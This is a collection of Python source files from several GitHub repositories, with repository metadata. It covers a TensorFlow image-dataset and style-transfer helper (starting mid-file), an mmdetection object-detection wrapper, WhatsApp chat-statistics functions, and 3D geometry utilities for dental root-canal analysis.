np.arange(self._num_examples)\n\t\t\tnp.random.shuffle(perm0)\n\t\t\tself._images = self.images[perm0]\n\t\t\tself._labels = self.labels[perm0]\n\t\t# Go to the next epoch\n\t\tif start + batch_size > self._num_examples:\n\t\t\t# Finished epoch\n\t\t\tself._epochs_completed += 1\n\t\t\t# Get the rest examples in this epoch\n\t\t\trest_num_examples = self._num_examples - start\n\t\t\timages_rest_part = self._images[start:self._num_examples]\n\t\t\tlabels_rest_part = self._labels[start:self._num_examples]\n\t\t\t# Shuffle the data\n\t\t\tif shuffle:\n\t\t\t\tperm = np.arange(self._num_examples)\n\t\t\t\tnp.random.shuffle(perm)\n\t\t\t\tself._images = self.images[perm]\n\t\t\t\tself._labels = self.labels[perm]\n\t\t\t# Start next epoch\n\t\t\tstart = 0\n\t\t\tself._index_in_epoch = batch_size - rest_num_examples\n\t\t\tend = self._index_in_epoch\n\t\t\timages_new_part = self._images[start:end]\n\t\t\tlabels_new_part = self._labels[start:end]\n\t\t\treturn1 = np.concatenate((images_rest_part, images_new_part), axis=0)\n\t\t\treturn2 = np.concatenate((labels_rest_part, labels_new_part), axis=0)\n\t\t\treturn return1, return2\n\t\telse:\n\t\t\tself._index_in_epoch += batch_size\n\t\t\tend = self._index_in_epoch\n\t\t\treturn self._images[start:end], self._labels[start:end]\n\n\ndef load_data(data_directory, file_name_identifier, img_size_flat, file_format=\"png\"):\n\t# data_directory is the directoy where the data is located. if you are loading from the ./training_data/ folder then this should be /training_data\n\t# file_name_identifier is a unique identifier that should be present in only one of the classes filenames\n\t# img_size_flat is the product of image height timed by image width. E.g in a 100x100 picture it would be 100 * 100 = 10 000\n\t# NOTE: this only works for images which are a square with sides ABCD where A=B=C=D. E.g. 4 equal sides\n\n\t# load all files in path\n\tfiles = glob.glob(os.path.join(data_directory, \"*.{}\".format(file_format)))\n\n\t# init labels and images\n\tlabels = []\n\timages = []\n\n\tfor f in files:\n\t\t# read the image as a ndarray\n\t\timage = cv2.imread(f, 0)\n\t\timage = np.asarray(image, dtype=\"float32\")\n\t\t# image = image.flatten()\n\t\t# add current image to image list\n\t\timages.append(image)\n\t\t# print(\"images = {}\".format(type(images)))\n\t\t# convert filename to 0 or 1 based on if it contains kw or not\n\n\t\tlabel = 0\n\t\tif f.find(file_name_identifier) == -1:\n\t\t\tlabel = 1\n\t\t# add label to labels list\n\t\tlabels.append(label)\n\n\t# shuffle both lists in the same order eg. x = [1, 2, 3], y = [1, 2, 3] ----> x = [3, 1, 2], y = [3, 1, 2]\n\timages, labels = shuffle(images, labels, random_state=0)\n\t# converts the images and labels to np_arrays for use with the tensorflow functions\n\timages = np.asarray(images)\n\tlabels = np.asarray(labels)\n\n\t# reshapes the images to be of the correct shape\n\timages = images.reshape(-1, img_size_flat)\n\treturn images, labels\n\n\ndef one_hot_encode(labels):\n\t# creates an array for the labels\n\tone_hot_labels = []\n\tfor label in labels:\n\t\tif label == 0:\n\t\t\tone_hot_labels.append([0, 1])  # appends the labels array with a one hot coded label for 0\n\t\telse:\n\t\t\tone_hot_labels.append([1, 0])  # appends the labels array with a one hot coded label for 0\n\tone_hot_labels = np.asarray(one_hot_labels)  # converts the array to np_array\n\treturn one_hot_labels\n\n\ndef graph():\n\t# Now load the model from file. The way TensorFlow\n\t# does this is confusing and requires several steps.\n\n\t# Create a new TensorFlow computational graph.\n\tgraph = tf.get_default_graph()\n\n\tglobal x\n\tglobal y_true\n\tglobal session\n\tglobal optimizer\n\tglobal accuracy\n\tglobal graph\n\n\tsession = tf.Session()\n\tsession.run(tf.global_variables_initializer())\n\n\tdata, x, x_image, y_true, y_true_cls, layer_conv1, layer_conv2, weights_conv1, weights_conv2, layer_flat, \\\n\tnum_features, layer_fc1, layer_fc1, layer_fc2, y_pred, y_pred_cls, cost, optimizer, correct_prediction, \\\n\taccuracy, saver, x2, x2_image = initiate()\n\n\tload_dir = 'resized/load/meta'\n\tload_dir2 = 'resized/load/checkpoints'\n\tload_path_meta = os.path.join(load_dir, 'best_validation.meta')\n\tload_path = os.path.join(load_dir, 'best_validation')\n\tload_path2 = os.path.join(load_dir2, 'best_validation')\n\n\tnew_saver = tf.train.import_meta_graph(load_path_meta)\n\tsaver.restore(sess=session, save_path=load_path2)\n\n\n\n\tw1 = graph.get_tensor_by_name(\"x:0\")\n\tw2 = graph.get_tensor_by_name(\"x:0\")\n\tw3 = graph.get_tensor_by_name(\"x:0\")\n\tw5 = graph.get_tensor_by_name(\"x:0\")\n\tw4 = graph.get_tensor_by_name(\"y_true:0\")\n\n\n\n\n\tw1 = tf.identity(w1, name=\"style\")\n\tw2 = tf.identity(w2, name=\"content\")\n\tw3 = tf.identity(w3, name=\"test\")\n\tw5 = tf.identity(w5, name=\"test2\")\n\n\n\tprint(\"Session at {} has been restored successfully\".format(load_path))\n\n\tarr = [w1, w2, w3, w4, w5]\n\n\tinput = w3\n\n\treturn graph, session, arr, input\n\n\ndef init():\n\tstyle_data.set.graph, style_data.set._session, style_data.set.layer_tensors,  style_data.set.input = graph()\n\treturn style_data.set\n\n\nclass style_data:\n\n\tclass set:\n\t\ttensor_name_input_image = \"content:0\"\n\t\ttensor_name_input_image2 = \"test2:0\"\n\n\n\t\tlayer_names = ['content:0', 'style:0', 'test:0', 'y_true:0', 'test2:0']\n\n\n\t\tlayer_tensors = []\n\n\t\t# Names of the tensors for the dropout random-values.. not sure if this works\n\t\ttensor_name_dropout = 'dropout/random_uniform:0'\n\t\ttensor_name_dropout1 = 'dropout_1/random_uniform:0'\n\n\t\tdef tostring(self):\n\t\t\treturn \"labels = {}, images = {}, cls = {}\".format(len(self._labels), len(self._images), len(self.cls))\n\n\t\tdef tostring_long(self):\n\t\t\treturn \"labels = {}, images = {}, cls = {}\".format(self._labels, self._images, self.cls)\n\n\t\tdef images(self):\n\t\t\treturn self._images\n\n\t\tdef labels(self):\n\t\t\treturn self._labels\n\n\t\tdef num_examples(self):\n\t\t\treturn self._num_examples\n\n\t\tdef epochs_completed(self):\n\t\t\treturn self._epochs_completed\n\n\t\tdef init(self):\n\t\t\tself._num_examples = len(self.images)\n\t\t\tself.labels = one_hot_encode(self.labels)\n\t\t\tself._images = self.images\n\t\t\tself._labels = self.labels\n\t\t\treturn self\n\n\t\tdef get_layer_names(self, layer_ids):\n\t\t\treturn [self.layer_names[idx] for idx in layer_ids]\n\n\t\tdef create_feed_dict(self, image, id):\n\t\t\t\"\"\"\n\t\t\tCreate and return a feed-dict with an image.\n\t\t\t:param image:\n\t\t\t\tThe input image is a 3-dim array which is already decoded.\n\t\t\t\tThe pixels MUST be values between 0 and 255 (float or int).\n\t\t\t:return:\n\t\t\t\tDict for feeding to the graph in TensorFlow.\n\t\t\t\"\"\"\n\t\t\t# Create feed-dict for inputting data to TensorFlow.\n\t\t\tfeed_dict = {self.layer_names[id[0]]: image}\n\n\t\t\tprint(\"#################### create_feed_dict() ####################\")\n\t\t\tprint(\"self.layer_names = {}\".format(self.layer_names))\n\t\t\tprint(\"image.shape = {}\".format(image.shape))\n\t\t\tprint(\"id = {}\".format(id))\n\t\t\tprint(\"feed_dict = {}\".format(feed_dict))\n\t\t\tprint(\"###############################################################\")\n\n\n\n\t\t\treturn feed_dict\n\n\t\tdef create_feed_dict2(self, image):\n\t\t\t\"\"\"\n\t\t\tCreate and return a feed-dict with an image.\n\t\t\t:param image:\n\t\t\t\tThe input image is a 3-dim array which is already decoded.\n\t\t\t\tThe pixels MUST be values between 0 and 255 (float or int).\n\t\t\t:return:\n\t\t\t\tDict for feeding to the graph in TensorFlow.\n\t\t\t\"\"\"\n\n\t\t\t# Create feed-dict for inputting data to TensorFlow.\n\t\t\tfeed_dict = {self.tensor_name_input_image: image}\n\n\t\t\treturn feed_dict\n\n\t\tdef create_feed_dict3(self, image):\n\t\t\t\"\"\"\n\t\t\tCreate and return a feed-dict with an image.\n\t\t\t:param image:\n\t\t\t\tThe input image is a 3-dim array which is already decoded.\n\t\t\t\tThe pixels MUST be values between 0 and 255 (float or int).\n\t\t\t:return:\n\t\t\t\tDict for feeding to the graph in TensorFlow.\n\t\t\t\"\"\"\n\n\t\t\t# Create feed-dict for inputting data to TensorFlow.\n\t\t\tfeed_dict = {self.tensor_name_input_image2: image}\n\n\t\t\treturn feed_dict\n\n\t\tdef get_layer_tensors(self, layer_ids):\n\t\t\t\"\"\"\n\t\t\tReturn a list of references to the tensors for the layers with the given id's.\n\t\t\t\"\"\"\n\n\t\t\tprint(\"layer 0 = {}\".format(self.layer_tensors[0]))\n\t\t\tprint(\"layer 1 = {}\".format(self.layer_tensors[1]))\n\n\n\t\t\tif layer_ids == [0]:\n\t\t\t\ttest = [self.layer_tensors[1]]\n\t\t\telse:\n\t\t\t\ttest = [self.layer_tensors[0]]\n\n\t\t\t# test = [self.layer_tensors[idx] for idx in layer_ids]\n\n\n\t\t\treturn test\n\n\t\tdef get_tensor_by_name(self, name):\n\t\t\t\"\"\"\n\t\t\tReturn a list of references to the tensors for the layers with the given id's.\n\t\t\t\"\"\"\n\t\t\ttensor = graph.get_tensor_by_name(name)\n\t\t\treturn tensor\n\n\t\t_index_in_epoch = 0\n\t\t_epochs_completed = 0\n\t\t_num_examples = 0\n\t\t_labels = np.array([])\n\t\t_images = np.array([])\n\t\tcls = []\n\n\tdef tostring(self):\n\t\treturn \"[\\n\\ttrain = [{}], \\n\\ttest = [{}], \\n\\tvalidation = [{}]\\n]\".format(self.train.tostring(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t self.test.tostring(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t self.validation.tostring())\n\n\tdef tostring_long(self):\n\t\treturn \"[\\n\\ttrain = [{}], \\n\\ttest = [{}], \\n\\tvalidation = [{}]\\n]\".format(self.train.tostring_long(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t self.test.tostring_long(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t self.validation.tostring_long())\n\n\n\n\t_file_names = ''\n\ttrain = set()\n\ttest = set()\n\tvalidation = set()\n\n\n\n","repo_name":"mrKallah/Digital-Analysis-of-Paintings-using-TensorFlow","sub_path":"style_transfer/style_data.py","file_name":"style_data.py","file_ext":"py","file_size_in_byte":13437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31980953466","text":"import pathlib\nimport sys\n\nimport numpy as np\n\n_parentdir = pathlib.Path(\"../../mmdetection/\").parent.parent.resolve()\nsys.path.insert(0, str(_parentdir))\n# trunk-ignore(flake8/E402)\nfrom mmdetection.mmdet.apis import inference_detector, init_detector\n\nsys.path.remove(str(_parentdir))\n\n\nclass Model(object):\n    \"\"\"\n    Represents a object detection model from mmdetection\n    \"\"\"\n\n    def __init__(self, params: dict) -> None:\n\n        self.model = init_detector(\n            params[\"config\"], params[\"check_pnt\"], device=\"cuda:0\"\n        )\n        self.classes = self.model.CLASSES\n\n        print(\"Available classes:\")\n        for i, j in enumerate(self.classes):\n            print(i, \"-\", j)\n\n    def predict(self, img):\n        \"\"\"Detects objects in a given image\"\"\"\n        result = inference_detector(self.model, img)\n\n        boxes, confidences, labels = self.prepare_result(result)\n\n        return zip(boxes, confidences, labels)\n\n    def prepare_result(self, result) -> tuple:\n        \"\"\"Prepare the predictions to be used\"\"\"\n        boxes, confs, labels = [], [], []\n        # for idx in range(len(result)):\n        for idx in [2, 13]:\n            for content in result[idx]:\n                ax, ay, cx, cy, conf = content\n                bx, by, dx, dy = cx, ay, ax, cy\n                box = np.array([[ax, ay], [bx, by], [cx, cy], [dx, dy]])\n                boxes.append(box)\n                confs.append(conf)\n                labels.append(idx)\n\n        return boxes, confs, labels\n","repo_name":"ASRodrigo1/zed","sub_path":"src/custom_model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7785379971","text":"#Helper functions\nimport os\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom datetime import datetime # this actually means import datetime.datetime\nimport seaborn as sns\nimport emoji\n\n\ndef create_chat_list(path='./data/nacho_gleb_original.txt'):\n    with open(path, encoding='utf8') as f: \n        chat = f.read()\n        chat = chat.split('\\n')[:len(chat.split('\\n'))-1]\n    return chat\n\n# I should add a function that indentifies european vs american calendar dates\n# Also another function that identifies 24h format vs am,pm\ndef clean_chat_list(chat_list):\n    \"\"\"Unifies messages that are split by \\n incorrectly\"\"\"\n    \n    clean_chat_list = []\n    clean_counter = -1\n\n## TRY WITH REGEX: re.split(r'\\d\\d?/\\d\\d?/\\d\\d\\s\\d\\d?:\\d\\d?\\s-\\s', chat_test[0])\n## re.findall(r'\\d\\d?/\\d\\d?/\\d\\d\\s\\d\\d?:\\d\\d?', chat_test[i])\n    \n    for i in chat_list:\n        try:\n            if (datetime.strptime(i.split(' - ')[0], '%d/%m/%y %H:%M') and \\\n                i.split(' - ')[1].split(':')[1]):\n                    clean_chat_list.append(i)\n                    clean_counter += 1       \n            else:\n                clean_chat_list[clean_counter] = \\\n                clean_chat_list[clean_counter] + ' ' + i\n        except:  \n            clean_chat_list[clean_counter] = \\\n            clean_chat_list[clean_counter] + ' ' + i\n    \n    return clean_chat_list\n\n\ndef chat_to_df(chat):\n    \"\"\"Creates a df with datetime index and additional time columns\"\"\"\n    \n    times = []\n    user = []\n    message = []\n    \n    try:\n        for i in chat:\n            times.append(i.split(' - ')[0])\n            user.append(i.split(' - ')[1].split(':',1)[0])\n            message.append(i.split(' - ')[1].split(':',1)[1])\n    except:\n        pass\n    \n    assert len(times) == len(user) == len(message)\n    \n    #times = pd.to_datetime(times)\n    times = pd.to_datetime(times)\n    \n    dataframe_chat = {\n        'id': range(len(times)),\n        'date': times,\n        'user': user,\n        'message': message\n    }\n    \n    df = pd.DataFrame(dataframe_chat).set_index('date')\n    \n    df['year'] = df.index.year\n    df['month'] = df.index.month\n    df['week'] = df.index.week\n    df['day'] = df.index.day\n    df['dayweek'] = df.index.dayofweek\n    df['hour'] = df.index.hour\n    df['minute'] = df.index.minute\n    df['emoji_count'] = df.loc[:,'message'].apply(lambda x: emoji_counter(x))\n    df['media'] = df.message.apply(lambda x: '<Multimedia omitido>' in x or \\\n                                   '<Media omitted>' in x).astype(int)\n    df['words_count'] = df.message.apply(lambda x: len(x.split(' ')))\n    \n    return df\n\n\ndef extract_emojis(s):\n    \"\"\"Extracts emojis from a string\"\"\"\n    return ''.join(c for c in s if c in emoji.UNICODE_EMOJI)\n\n\ndef emoji_counter(msg):\n    if len(emoji.emoji_lis(msg)) != 0:\n        return len(extract_emojis(msg))\n    else:\n        return 0\n        \n\n\"\"\"\nCode to finish, get the most used emojis:\n\ndef emoji_taker(msg):\n    if len(emoji.emoji_lis(msg)) != 0:\n        return extract_emojis(msg)\n    else:\n        return 0\n        \ndef emoji_counter(msg):\n    if len(emoji.emoji_lis(msg)) != 0:\n        return len(extract_emojis(msg))\n    else:\n        return 0\n        \ndf['emoji_count'] = df.loc[:,'message'].apply(lambda x: emoji_counter(x))\ndf['emoji'] = df.loc[:,'message'].apply(lambda x: emoji_taker(x))\n\ndf[df.emoji_count != 0].loc[:, ['emoji']]\n\"\"\"\n\n\ndef longest_word(msg):\n    \n    word = ''\n    \n    for i in msg:\n        for j in i.split(' '):\n            try:\n                if len(j) > len(word) and j.isalpha():\n                    word = j\n            except:\n                continue\n    return word\n\n\n# Creating Statistics for first page\n\n\ndef number_msgs(df):\n    \"\"\" Gives table with the information of the total number of messages and words by user\"\"\"\n    \n    # Counting total messages\n    \n    df1 = pd.DataFrame(\n        df.groupby('user').count().iloc[:,0:1],\n    )\n    \n    total_messages = df1.iloc[:,0].sum()\n        \n    df1['% Total Messages'] = round(df1.iloc[:,0]/total_messages*100, 2)\n    \n    df1.columns = ['Total Messages', '% Total Messages']\n    \n    # Counting total words\n    \n    df2 = pd.DataFrame(df.groupby('user').words_count.sum())\n    \n    total_words = df2.sum()[0]\n    \n    df2['% Total words'] = round(df2.iloc[:,0]/total_words*100, 2)\n    \n    df2.columns = ['Total Words', '% Total words']    \n\n    return pd.concat([df1, df2], axis=1)\n\n\ndef longest_word_user(df):\n    \n    users = df.user.unique()\n    \n    df = pd.DataFrame(\n     {user : longest_word(df[df.user == user].message) for user in users}.values(),\n     df.groupby('user').size().index    \n    )\n    \n    df.columns = ['Longest word']\n\n    return df\n\n\ndef most_words(df):\n    \n    users = df.user.unique()\n    \n    most_words = {\n        user : str(df[df.user == user].resample('d').sum().sort_values('words_count').words_count.\\\n        iloc[-1]) + ' (' + str(df[df.user == user].resample('d').sum().\\\n        sort_values('words_count').words_count.index[-1])[:10] + ')' for user in users\n    }\n    \n    most_messages = {\n        user : str(df[df.user == user].resample('d').count().sort_values('message').message.\\\n        iloc[-1]) + ' (' + str(df[df.user == user].resample('d').count().\\\n        sort_values('message').index[-1])[:10] + ')' for user in users\n    }\n    \n    #Creating the dataframes before concatenating\n    df1 = pd.DataFrame(most_words.values(), index=users)\n    df1.columns = ['Most words']\n    df2 = pd.DataFrame(most_messages.values(), index=users)\n    df2.columns = ['Most messages']\n    \n    df = pd.concat([df1,df2], axis=1)\n\n    return df\n\n\ndef emojis_used(df):\n    users = df.user.unique()\n    \n    emojis_user = {\n         user: df[df.user == user].sum().emoji_count for user in users\n    }\n        \n    df = pd.DataFrame(emojis_user.values(), index=users)\n    df.columns = ['Total emojis used']\n    \n    return df\n\n\ndef statistics_users(df):\n    \n    return pd.concat(\n                        [number_msgs(df),\n                         longest_word_user(df),\n                         most_words(df),\n                         emojis_used(df)],\n                         axis=1).transpose()\n    ","repo_name":"gsidorov/WhatsCeption","sub_path":"methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":6171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41555672135","text":"# -*- coding: utf-8 -*\nfrom math import degrees, acos\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom vector_class import vector\n\n\nINFINITE_VALUE = 10000.0\n\ndef unit_vector(v):\n    \"\"\" Returns the unit vector of the vector.  \"\"\"\n    return v / np.linalg.norm(v)\n\n\ndef radian_between_vectors(v1, v2):\n    \"\"\" Returns the angle in radians between vectors 'v1' and 'v2'::\n\n            > angle_between((1, 0, 0), (0, 1, 0))\n            1.5707963267948966\n            > angle_between((1, 0, 0), (1, 0, 0))\n            0.0\n            > angle_between((1, 0, 0), (-1, 0, 0))\n            3.141592653589793\n    \"\"\"\n    v1_u = unit_vector(v1)\n    v2_u = unit_vector(v2)\n    return np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0))\n\n\ndef degree_between_vectors(ref_vector, target_vector, tangent_vector=None):\n    \"\"\"\n    두 벡터간 각도를 구함\n    tangent_vector 가 있으면 방향을 고려함\n    0~360을 리턴\n    \"\"\"\n    dv1, dv2 = ref_vector / ref_vector.length(), target_vector / target_vector.length()\n    angle = degrees(acos(dv1.dot(dv2)))\n\n    if tangent_vector and tangent_vector.dot(dv1.cross(dv2)) < 0:\n        angle = 360 - angle\n\n    return angle\n\n\ndef intersection_point_of_plane_and_line(point_in_plane, normal_vector_of_plane, point_in_line, vector_of_line):\n    \"\"\"\n    point_in_plane    : 평면의  임의의  점\n    normal_vector_of_plane    : 평면의 법선벡터\n    point_in_line     : 직선위의 임의의 점\n    vector_of_line     : 직선의 벡터\n    \"\"\"\n\n    t = (point_in_plane - point_in_line).dot(normal_vector_of_plane) / normal_vector_of_plane.dot(vector_of_line)\n\n    return point_in_line if t == 0 else point_in_line + vector_of_line * t\n\n\ndef intersection_point_of_plane_and_curve(point, normal_vector, curve):\n    \"\"\"\n    get intersection point of curve and plane defined by point point and\n      normal_vector normal_vector (direction of normal of the plane)\n\n    NOTE return None if there does not exist that point\n    \"\"\"\n    u, inc, EPSILON = 0.0, 0.01, 0.00000001\n    sign = normal_vector.dot(point - curve.get_pos(0)) > 0\n    p_prev, u_prev = None, None\n    while 0.0 <= u <= 1.0:\n        u += inc\n        p1 = curve.get_pos(u)\n        if sign != (normal_vector.dot(point - p1) > 0):\n            if inc <= EPSILON:\n                return (vector(p1) + p_prev) / 2, (u_prev + u) / 2\n            sign, inc = not sign, inc * -0.1\n        p_prev, u_prev = p1, u\n    return None, None\n\n\ndef is_line_inside_outline(p1, p2, outline):\n    \"\"\"\n    두 점이 하나의 폐곡선 안에 속해 있는지 체크함\n    동일한 근관을 #\n    \"\"\"\n\n    cross_count = 0\n    prev_point = start_point = outline.pop()\n\n    while outline:\n        cur_point = outline.pop()\n        if is_two_line_segments_intersect_in_XY_plane(prev_point, cur_point, p1, p2):\n            cross_count += 1\n        prev_point = cur_point\n\n    if is_two_line_segments_intersect_in_XY_plane(prev_point, start_point, p1, p2):\n        cross_count += 1\n\n    return True if cross_count % 2 == 0 else False\n\n\ndef is_two_line_segments_intersect_in_XY_plane(AP1, AP2, BP1, BP2):\n    \"\"\"\n    두선분이 교차하는지 체크함\n    x,y축만으로 계산, z축 좌표는 무시\n    폐곡선안에 특정 점이 포함되었는지 판단하기 위해 사용함\n    \"\"\"\n\n    under = (BP2[1] - BP1[1]) * (AP2[0] - AP1[0]) - (BP2[0] - BP1[0]) * (AP2[1] - AP1[1])\n    if under == 0: return False\n\n    _t = (BP2[0] - BP1[0]) * (AP1[1] - BP1[1]) - (BP2[1] - BP1[1]) * (AP1[0] - BP1[0])\n    _s = (AP2[0] - AP1[0]) * (AP1[1] - BP1[1]) - (AP2[1] - AP1[1]) * (AP1[0] - BP1[0])\n\n    t, s = _t / under, _s / under\n\n    if t < 0.0 or t > 1.0 or s < 0.0 or s > 1.0: return False\n    if _t == 0 and _s == 0: return False\n\n    # IP->x = AP1[0] + t * (double)(AP2[0]-AP1[0]);\n    # IP->y = AP1[1] + t * (double)(AP2[1]-AP1[1]);\n    return True\n\n\ndef mindist_btn_contours(contour1, contour2):\n    \"\"\"\n        두 윤곽선(contour)간 최단 거리 구함\n        예) 치료전 근관, 치근표면간 최소거리\n    \"\"\"\n    from scipy.spatial import distance\n    ret = distance.cdist(contour1, contour2, metric='euclidean')\n    min_index = np.where(ret == ret.min())\n\n    return ret.min(), contour1[int(min_index[0])], contour2[int(min_index[1])]\n\n\ndef mindist_btn_contours_old(contour1, contour2):\n    \"\"\"\n        두 윤곽선(contour)간 최단 거리 구함\n        예) 치료전 근관, 치근표면간 최소거리\n    \"\"\"\n    assert (len(contour1) > 0 and len(contour2) > 0)\n    min_dist = INFINITE_VALUE\n    min_p1 = min_p2 = None\n    for p1 in contour1:\n        cur_min_dist, p2 = mindist_btn_contour_and_point(contour2, p1)\n        if cur_min_dist < min_dist:\n            min_dist, min_p1, min_p2 = cur_min_dist, p1, p2\n\n    return min_dist, min_p1, min_p2\n\n\ndef mindist_btn_contour_and_point(contour, point):\n    \"\"\"\n    윤곽선(contour)과 점의 최단거리를 구함\n    Get min distance and point\n    exception handling , no intersection point\n    \"\"\"\n\n    min_dist = INFINITE_VALUE\n    min_point = None\n    if len(contour) == 0:\n        return None, None\n    for vtx in contour:\n        if (vector(point) - vector(vtx)).length() < min_dist:\n            min_dist, min_point = (vector(point) - vector(vtx)).length(), vtx\n\n    return min_dist, min_point\n\n\ndef curve_to_points(nerve_path, n=100):\n    '''\n    get list of (n + 1) points along nerve path corresponding to u from 0 to 1\n    '''\n    return [nerve_path.get_pos(i / n) for i in range(0, n + 1)]\n\n\ndef closest_distance_btn_lines(line1, line2, clampAll=True,\n                               clampA0=False, clampA1=False, clampB0=False, clampB1=False):\n    '''\n    https://stackoverflow.com/questions/2824478/shortest-distance-between-two-line-segments\n    Given two lines defined by numpy.array pairs (a0,a1,b0,b1)\n    Return the closest points on each segment and their distance\n    '''\n\n    a0, a1 = line1\n    b0, b1 = line2\n\n    # If clampAll=True, set all clamps to True\n    if clampAll:\n        clampA0 = True\n        clampA1 = True\n        clampB0 = True\n        clampB1 = True\n\n    # Calculate denomitator\n    A = a1 - a0\n    B = b1 - b0\n    magA = np.linalg.norm(A)\n    magB = np.linalg.norm(B)\n\n    _A = A / magA\n    _B = B / magB\n\n    cross = np.cross(_A, _B);\n    denom = np.linalg.norm(cross) ** 2\n\n    # If lines are parallel (denom=0) test if lines overlap.\n    # If they don't overlap then there is a closest point solution.\n    # If they do overlap, there are infinite closest positions, but there is a closest distance\n    if not denom:\n        d0 = np.dot(_A, (b0 - a0))\n\n        # Overlap only possible with clamping\n        if clampA0 or clampA1 or clampB0 or clampB1:\n            d1 = np.dot(_A, (b1 - a0))\n\n            # Is segment B before A?\n            if d0 <= 0 >= d1:\n                if clampA0 and clampB1:\n                    if np.absolute(d0) < np.absolute(d1):\n                        return a0, b0, np.linalg.norm(a0 - b0)\n                    return a0, b1, np.linalg.norm(a0 - b1)\n\n\n            # Is segment B after A?\n            elif d0 >= magA <= d1:\n                if clampA1 and clampB0:\n                    if np.absolute(d0) < np.absolute(d1):\n                        return a1, b0, np.linalg.norm(a1 - b0)\n                    return a1, b1, np.linalg.norm(a1 - b1)\n\n        # Segments overlap, return distance between parallel segments\n        return None, None, np.linalg.norm(((d0 * _A) + a0) - b0)\n\n    # Lines criss-cross: Calculate the projected closest points\n    t = (b0 - a0);\n    detA = np.linalg.det([t, _B, cross])\n    detB = np.linalg.det([t, _A, cross])\n\n    t0 = detA / denom;\n    t1 = detB / denom;\n\n    pA = a0 + (_A * t0)  # Projected closest point on segment A\n    pB = b0 + (_B * t1)  # Projected closest point on segment B\n\n    # Clamp projections\n    if clampA0 or clampA1 or clampB0 or clampB1:\n        if clampA0 and t0 < 0:\n            pA = a0\n        elif clampA1 and t0 > magA:\n            pA = a1\n\n        if clampB0 and t1 < 0:\n            pB = b0\n        elif clampB1 and t1 > magB:\n            pB = b1\n\n        # Clamp projection A\n        if (clampA0 and t0 < 0) or (clampA1 and t0 > magA):\n            dot = np.dot(_B, (pA - b0))\n            if clampB0 and dot < 0:\n                dot = 0\n            elif clampB1 and dot > magB:\n                dot = magB\n            pB = b0 + (_B * dot)\n\n        # Clamp projection B\n        if (clampB0 and t1 < 0) or (clampB1 and t1 > magB):\n            dot = np.dot(_A, (pB - a0))\n            if clampA0 and dot < 0:\n                dot = 0\n            elif clampA1 and dot > magA:\n                dot = magA\n            pA = a0 + (_A * dot)\n\n    return [np.linalg.norm(pA - pB), pA, pB]\n\n\ndef axisEqual3D(ax):\n    extents = np.array([getattr(ax, 'get_{}lim'.format(dim))() for dim in 'xyz'])\n    sz = extents[:,1] - extents[:,0]\n    centers = np.mean(extents, axis=1)\n    maxsize = max(abs(sz))\n    r = maxsize/2\n    for ctr, dim in zip(centers, 'xyz'):\n        getattr(ax, 'set_{}lim'.format(dim))(ctr - r, ctr + r)\n\n\ndef fitted_plane_of_points(points, ref_vector):\n    \"\"\"\n    points를 지나는 평면을 구함, ref_vector와 법선벡터의 방향을 맞춤\n\n    :param t_points: np.array\n    :param ref_vector: 방향\n    :return: 평면의 normal vector, 평면위의 한점\n    \"\"\"\n    chart = False\n\n    t_points = points.T\n\n    xs = t_points[0].tolist()\n    ys = t_points[1].tolist()\n    zs = t_points[2].tolist()\n\n    # do fit\n    tmp_A, tmp_b = [], []\n    for i in range(len(xs)):\n        tmp_A.append([xs[i], ys[i], 1])\n        tmp_b.append(zs[i])\n    b = np.mat(tmp_b).T\n    A = np.mat(tmp_A)\n\n    # Manual solution\n    fit = (A.T * A).I * A.T * b\n    errors = b - A * fit\n    residual = np.linalg.norm(errors)\n\n    a, b, c = fit[0, 0], fit[1, 0], fit[2, 0]\n\n    # a*x + b*y + c = z\n    # (-a/c) * x + (-b/c) * y + 1/c * z = 1\n    # ==> normal vector (-a/c, -b/c, 1/c)\n\n    normal_vector = np.array([-a/c, -b/c, 1/c])\n\n    # ref_vector와 방향이 반대면 normal vector의 방향을 바꿈\n    normal_vector = normal_vector * -1 if degree_between_vectors(vector(normal_vector), ref_vector) > 90 else normal_vector\n\n    # points들의 X, Y, Z 축의 각 중간점\n    median_coord = np.median(points, axis=0)\n    a_point_on_plane = np.array([median_coord[0], median_coord[1],\n                                 a * median_coord[0] + b * median_coord[1] + c])\n\n    if chart:\n        degrees = [f'{degree_between_vectors(vector(normal_vector.tolist()), vector(p) - vector(a_point_on_plane)):.2f}' for p in points]\n        print(f'solution: {a} x + {b} y + {c} = z')\n        # print(f'solution: {normal_vector[0]} x + {normal_vector[1]} y + {normal_vector[2]} z = 1')\n        # print(\"errors: \\n\", errors)\n        print(\"residual:\", residual)\n        print(f' angles -- {degrees}')\n\n        plt.figure()\n        ax = plt.subplot(111, projection='3d')\n        ax.scatter(xs, ys, zs, color='b')\n        # normal vector\n        ax.plot(*zip(a_point_on_plane, a_point_on_plane + normal_vector * 10), color='r')\n\n        # plot plane\n        xlim = ax.get_xlim()\n        ylim = ax.get_ylim()\n        X,Y = np.meshgrid(np.arange(xlim[0], xlim[1]),\n                          np.arange(ylim[0], ylim[1]))\n        Z = np.zeros(X.shape)\n        for r in range(X.shape[0]):\n            for c in range(X.shape[1]):\n                Z[r, c] = fit[0] * X[r, c] + fit[1] * Y[r, c] + fit[2]\n        ax.plot_wireframe(X,Y,Z, color='k')\n        ax.set_xlabel('x')\n        ax.set_ylabel('y')\n        ax.set_zlabel('z')\n        axisEqual3D(ax)\n        plt.show()\n\n    return normal_vector, a_point_on_plane","repo_name":"mediangs/kappa4","sub_path":"bin/shared/helpers_geom.py","file_name":"helpers_geom.py","file_ext":"py","file_size_in_byte":11601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
